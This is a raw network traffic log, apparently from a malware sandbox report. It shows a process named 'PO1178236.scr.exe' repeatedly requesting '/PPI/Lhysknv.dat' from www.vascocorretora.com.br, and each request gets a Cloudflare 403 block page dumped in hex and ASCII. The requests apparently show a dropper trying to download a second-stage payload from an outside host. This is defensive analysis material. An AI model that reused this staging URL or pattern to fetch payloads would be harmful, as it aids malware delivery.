2025-01-09 07:29:20 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:20 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 33 36 35 39 36 65 34 33 35 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b736596e435d</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:20 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 33 36 35 39 36 65 34 33 35 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b736596e435d',t:'MTczNjQwNzc2MC4wMDAwMDA='};v
2025-01-09 07:29:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49871	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:20 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:21 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z9tXA7qjSpV%2BDENojdkq5ofEa2G16meElP%2BbFN73q9W86CBdI05h6EQSF8hLtNRBHqXoCnmGnHwxvnPUaaR5JLWe0BklUf7D301I9pieY4ZRcDoUf%2F%2FtxY4quFGQZnP72gh0F7y7XGT2MSaq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b73a3fe07295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2018&rtt_var=763&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1427174&cwnd=206&unsent_bytes=0&cid=7616b53c03a5bade&ts=150&x=0"
2025-01-09 07:29:21 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:21 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:21 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:21 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 33 61 33 66 65 30 37 32 39 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b73a3fe07295</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:21 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 33 61 33 66 65 30 37 32 39 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b73a3fe07295',t:'MTczNjQwNzc2MS4wMDAwMDA='};var
2025-01-09 07:29:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49877	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:21 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:21 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJoTFGHGSAkILFCEPduc65Pf6JTNAQPjKgaUfauEs9K636yg1VL9W%2FOi0NfdKIDbLPKL37KJ9Cp1JJa68KQ5M55186MmFuDqIEvTwPGcDEhA2A4XLuStdegsJHo8ppDplSrfS%2F9s6RdM6TTW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b73e28edc33c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1511&rtt_var=573&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1899804&cwnd=148&unsent_bytes=0&cid=f7a94fe2ac1f2760&ts=150&x=0"
2025-01-09 07:29:21 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:21 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:21 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:21 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 33 65 32 38 65 64 63 33 33 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b73e28edc33c</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:21 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 33 65 32 38 65 64 63 33 33 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b73e28edc33c',t:'MTczNjQwNzc2MS4wMDAwMDA='};var a=d
2025-01-09 07:29:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49883	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:22 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:22 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:37 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iiY07DoCAHWRAbvWCETw%2FTUJAlUz7ADQZBM2yJqrdD0olzKrj%2F%2FaWASKDA8D6HC0yG4ruHNQx9%2FLiOlwAHW%2FQY7lv9kiyAAtV2rZmZRTrgOKSrHgUqmH%2B4k8w7iaBNtbUU3zTI%2FrAgrhKPQK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b741edae0dc7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1939&rtt_var=740&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1465127&cwnd=218&unsent_bytes=0&cid=424d8ecf2f9bfb65&ts=127&x=0"
2025-01-09 07:29:22 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:22 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:22 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:22 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 34 31 65 64 61 65 30 64 63 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 